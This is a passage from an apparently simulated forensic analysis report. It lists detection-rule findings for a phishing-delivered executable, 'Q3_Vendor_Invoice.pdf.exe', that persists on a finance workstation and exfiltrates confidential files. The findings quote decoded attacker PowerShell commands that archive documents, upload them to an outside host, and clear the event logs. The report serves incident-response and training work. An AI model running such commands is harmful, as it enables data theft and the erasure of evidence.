WIN-PROC-003 PowerShell launched with encoded command or hidden window	HIGH	WS-FIN-042_Security.evtx	powershell.exe/pwsh.exe started with -EncodedCommand (or abbreviation) and/or a hidden window. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\ProgramData\MSync\msync.exe, user jmorales) Decoded command: Compress-Archive -Path "$env:USERPROFILE\Documents\Confidential*" -DestinationPath C:\ProgramData\MSync\q3_archive.zip -Force; Invoke-WebRequest -Uri https://upload.meridian-sync.example/api/v2/upload -Method Post -InFile C:\ProgramData\MSync\q3_archive.zip -UseBasicParsing
WIN-PROC-003 PowerShell launched with encoded command or hidden window	HIGH	WS-FIN-042_Security.evtx	powershell.exe/pwsh.exe started with -EncodedCommand (or abbreviation) and/or a hidden window. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\ProgramData\MSync\msync.exe, user jmorales) Decoded command: Clear-EventLog -LogName "Windows PowerShell"; Remove-Item -Force C:\ProgramData\MSync\q3_archive.zip
WIN-PS-001 PowerShell script block with collection, staging or transfer keywords	HIGH	WS-FIN-042_PowerShell-Operational.evtx	A logged PowerShell script block contains keywords associated with archiving, uploading, log clearing or dynamic code execution. Event: PowerShell script block: Compress-Archive -Path "$env:USERPROFILE\Documents\Confidential*" -DestinationPath C:\ProgramData\MSync\q3_archive.zip -Force
WIN-PS-001 PowerShell script block with collection, staging or transfer keywords	HIGH	WS-FIN-042_PowerShell-Operational.evtx	A logged PowerShell script block contains keywords associated with archiving, uploading, log clearing or dynamic code execution. Event: PowerShell script block: Invoke-WebRequest -Uri https://upload.meridian-sync.example/api/v2/upload -Method Post -InFile C:\ProgramData\MSync\q3_archive.zip -UseBasicParsing

Rule	Severity	Evidence	Description
WIN-PS-001 PowerShell script block with collection, staging or transfer keywords	HIGH	WS-FIN-042_PowerShell-Operational.evtx	A logged PowerShell script block contains keywords associated with archiving, uploading, log clearing or dynamic code execution. Event: PowerShell script block: Clear-EventLog -LogName "Windows PowerShell"; Remove-Item -Force C:\ProgramData\MSync\q3_archive.zip
NET-001 Large outbound transfer to an external address	HIGH	fw-edge-01_connections.csv	10.20.4.42 sent 48,213,904 bytes to 203.0.113.77:443 (allow).
PE-001 Executable disguised with a document-style double extension	HIGH	Q3_Vendor_Invoice.pdf.exe	Executable disguised with a document-style double extension in Q3_Vendor_Invoice.pdf.exe.
PE-004 Imports consistent with process injection	HIGH	Q3_Vendor_Invoice.pdf.exe	Imports consistent with process injection in Q3_Vendor_Invoice.pdf.exe.
PE-011 Embedded hidden/encoded PowerShell command line	HIGH	Q3_Vendor_Invoice.pdf.exe	Embedded hidden/encoded PowerShell command line in Q3_Vendor_Invoice.pdf.exe.
BRW-003 Browser download safety verdict: user_validated	MEDIUM	Chrome_History_jmorales.sqlite	Chromium recorded danger_type 'user_validated' for 'C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe'.
BRW-004 Executable downloaded via a webmail page	MEDIUM	Chrome_History_jmorales.sqlite	Referrer of the download was https://mail.meridianfs.example/owa/.
WIN-ACCT-001 Local user account created	MEDIUM	WS-FIN-042_Security.evtx	A user account was created (4720). Event: User account created: svc_msync by jmorales
WIN-AUTH-001 Repeated failed logons for the same account	MEDIUM	WS-FIN-042_Security.evtx	Three or more failed logons (4625) for the same account from the same source within five minutes. Observed 3 events for {'TargetUserName': 'administrator', 'IpAddress': '10.20.9.15'}.
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\ProgramData\MSync\msync.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by C:\ProgramData\MSync\msync.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by C:\ProgramData\MSync\msync.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by C:\ProgramData\MSync\msync.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WIN-FILE-001 Access to a file in a sensitive location	MEDIUM	WS-FIN-042_Security.evtx	An object-access audit event records access to a file under a folder configured as sensitive. Event: Object access: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WIN-NET-002 Outbound connection by PowerShell or a binary in a user-writable path	MEDIUM	WS-FIN-042_Security.evtx	PowerShell or a binary located in a user-writable directory connected to an external address. Event: Connection permitted: \device\harddiskvolume3\users\jmorales\downloads\q3_vendor_invoice.pdf.exe -> 203.0.113.77:443
WIN-NET-002 Outbound connection by PowerShell or a binary in a user-writable path	MEDIUM	WS-FIN-042_Security.evtx	PowerShell or a binary located in a user-writable directory connected to an external address. Event: Connection permitted: \device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe -> 203.0.113.77:443
WIN-PERSIST-001 Scheduled task created	MEDIUM	WS-FIN-042_Security.evtx	A scheduled task was registered (4698). Event: Scheduled task created: \Microsoft\Windows\MSync\Updater by jmorales

Rule	Severity	Evidence	Description
WIN-PERSIST-002 Service installed	MEDIUM	WS-FIN-042_System.evtx	A new service was installed (System 7045). Event: Service installed: MeridianSyncSvc -> "C:\ProgramData\MSync\msync.exe" --service (auto start, LocalSystem)
WIN-PROC-001 Process executed from a user-writable location	MEDIUM	WS-FIN-042_Security.evtx	A process image was launched from Downloads, AppData, Desktop, ProgramData or a Temp directory. Event: Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)
WIN-PROC-004 Process spawned by a binary in a user-writable location	MEDIUM	WS-FIN-042_Security.evtx	The parent process image lives in a user-writable directory. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales)
WIN-PROC-004 Process spawned by a binary in a user-writable location	MEDIUM	WS-FIN-042_Security.evtx	The parent process image lives in a user-writable directory. Event: Process created: C:\ProgramData\MSync\msync.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales)
FILE-001 Executable written to a user-writable location	MEDIUM	edr_file_events.json	chrome.exe created C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe.
FILE-001 Executable written to a user-writable location	MEDIUM	edr_file_events.json	powershell.exe created C:\ProgramData\MSync\msync.exe.
FILE-003 Read of a file in a sensitive location	MEDIUM	edr_file_events.json	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx.
FILE-003 Read of a file in a sensitive location	MEDIUM	edr_file_events.json	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv.
FILE-003 Read of a file in a sensitive location	MEDIUM	edr_file_events.json	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx.
FILE-003 Read of a file in a sensitive location	MEDIUM	edr_file_events.json	C:\ProgramData\MSync\msync.exe read C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf.
PE-002 Section is both writable and executable	MEDIUM	Q3_Vendor_Invoice.pdf.exe	Section is both writable and executable in Q3_Vendor_Invoice.pdf.exe.
PE-003 High-entropy section	MEDIUM	Q3_Vendor_Invoice.pdf.exe	High-entropy section in Q3_Vendor_Invoice.pdf.exe.
PE-005 HTTP client APIs together with embedded URLs	MEDIUM	Q3_Vendor_Invoice.pdf.exe	HTTP client APIs together with embedded URLs in Q3_Vendor_Invoice.pdf.exe.
PE-006 Persistence capability (service/registry APIs with autostart references)	MEDIUM	Q3_Vendor_Invoice.pdf.exe	Persistence capability (service/registry APIs with autostart references) in Q3_Vendor_Invoice.pdf.exe.
FILE-002 Archive file created	LOW	edr_file_events.json	powershell.exe created archive C:\ProgramData\MSync\q3_archive.zip (48203664 bytes).
FILE-004 Archive deleted	LOW	edr_file_events.json	powershell.exe deleted C:\ProgramData\MSync\q3_archive.zip.
PE-009 Data appended after the last section (overlay)	LOW	Q3_Vendor_Invoice.pdf.exe	Data appended after the last section (overlay) in Q3_Vendor_Invoice.pdf.exe.

15. Limitations and uncertainties

• This case uses SIMULATED evidence generated for training/demonstration. No real organisation, person or incident is described.
• resolver_queries.log (text_log): 1 parsing issue(s) recorded, e.g. {"line": 8, "error": "no leading timestamp; line not parsed", "content": "2026-10-14 09:41:44.9"}

• All findings are derived from the acquired artifacts only. Activity that was not logged (audit policy not enabled, logs rotated or cleared) is invisible to this analysis; absence of evidence is not evidence of absence.
• Static malware analysis does not execute samples. Packed, encrypted or staged payloads and run-time behaviour cannot be fully characterised statically.
• YARA matches confirm that bytes satisfy a rule's condition; the significance of a match depends on the rule and is explained per match.
• Correlations are hypotheses built from timestamps and shared entities (file names, hashes, process IDs, embedded indicators). They indicate plausible sequences and do not prove causation.
• Timestamps from different sources are normalised to UTC. Clock skew between systems and timezone assumptions for sources without timezone information can affect ordering.
• Process IDs are reused by Windows; PID-based lineage is bounded by host and correlation window but could mis-link processes in long investigations.

• Indicator assessments ('watchlist match', 'suspicious') reflect local reference data and findings, not external threat intelligence. No commercial or online reputation service was queried.
• The audit ledger is tamper-evident, not tamper-proof: an actor with write access to the database could rewrite the entire chain. Compare the ledger head hash with an independently stored copy to detect that.
• TraceForge does not certify legal admissibility or compliance with any specific chain-of-custody standard.